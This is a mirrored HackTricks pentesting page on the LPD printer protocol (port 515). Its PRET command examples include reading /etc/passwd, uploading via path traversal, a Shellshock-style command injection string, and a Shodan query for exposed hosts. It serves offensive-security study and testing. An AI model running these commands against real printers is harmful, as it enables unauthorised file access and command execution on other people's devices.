mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
63 lines
4 KiB
Markdown
63 lines
4 KiB
Markdown
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
### **Introduction to LPD Protocol**
|
|
|
|
In the 1980s, the **Line Printer Daemon (LPD) protocol** was developed in Berkeley Unix, which later became formalized through RFC1179. This protocol operates over port 515/tcp, allowing interactions through the `lpr` command. The essence of printing via LPD involves sending a **control file** (to specify job details and user) along with a **data file** (which holds the print information). While the control file allows the selection of **various file formats** for the data file, the handling of these files is determined by the specific LPD implementation. A widely recognized implementation for Unix-like systems is **LPRng**. Notably, the LPD protocol can be exploited to execute **malicious PostScript** or **PJL print jobs**.
|
|
|
|
### **Tools for Interacting with LPD Printers**
|
|
|
|
[**PRET**](https://github.com/RUB-NDS/PRET) introduces two essential tools, `lpdprint` and `lpdtest`, offering a straightforward method to interact with LPD-compatible printers. These tools enable a range of actions from printing data to manipulating files on the printer, such as downloading, uploading, or deleting:
|
|
|
|
```python
|
|
# To print a file to an LPD printer
|
|
lpdprint.py hostname filename
|
|
# To get a file from the printer
|
|
lpdtest.py hostname get /etc/passwd
|
|
# To upload a file to the printer
|
|
lpdtest.py hostname put ../../etc/passwd
|
|
# To remove a file from the printer
|
|
lpdtest.py hostname rm /some/file/on/printer
|
|
# To execute a command injection on the printer
|
|
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|
# To send a mail through the printer
|
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
|
```
|
|
|
|
For individuals interested in further exploring the realm of **printer hacking**, a comprehensive resource can be found here: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
|
|
|
# Shodan
|
|
|
|
* `port 515`
|
|
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|